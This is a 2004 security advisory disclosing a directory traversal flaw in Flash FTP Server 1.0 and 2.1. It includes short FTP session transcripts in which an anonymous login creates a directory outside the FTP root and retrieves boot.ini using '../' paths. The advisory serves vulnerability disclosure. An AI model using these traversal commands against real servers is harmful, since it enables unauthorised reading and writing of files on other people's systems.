[NT] Flash FTP Server Directory Traversal

From: SecuriTeam (support_at_securiteam.com)
Date: 01/05/04

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Date: 5 Jan 2004 15:16:03 +0200

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      Flash FTP Server Directory Traversal
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.net2soft.com/products/flashftpserver.htm> Flash FTP Server is
    "a powerful, flexible, and easy-to-set-up FTP server for all Windows
    platforms". A vulnerability in the product allows a malicious user to
    write and read files anywhere on the disk.

    DETAILS

    Vulnerable systems:
     * Flash FTP Server version 1.0
     * Flash FTP Server version 2.1

    Demonstration:
    Creation of a directory outside the bounding FTP root directory:
    220 Flash FTP Server v2.1 ready...
    user anonymous
    331 Password required for anonymous.
    pass
    230 User anonymous logged in.
    pwd
    257 "/C:/ftp_root/" is current directory.
    mkd /../../../../../../../owned
    257 'C:\..\..\..\..\..\..\..\owned': directory created.

    Retrieving of a file outside the bounding FTP root directory:
    220 Flash FTP Server v2.1 ready...
    user anonymous
    331 Password required for anonymous.
    pass
    230 User anonymous logged in.
    ftp> get /../../../../../../../../boot.ini

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dr_insane@pathfinder.gr>
    dr_insane.

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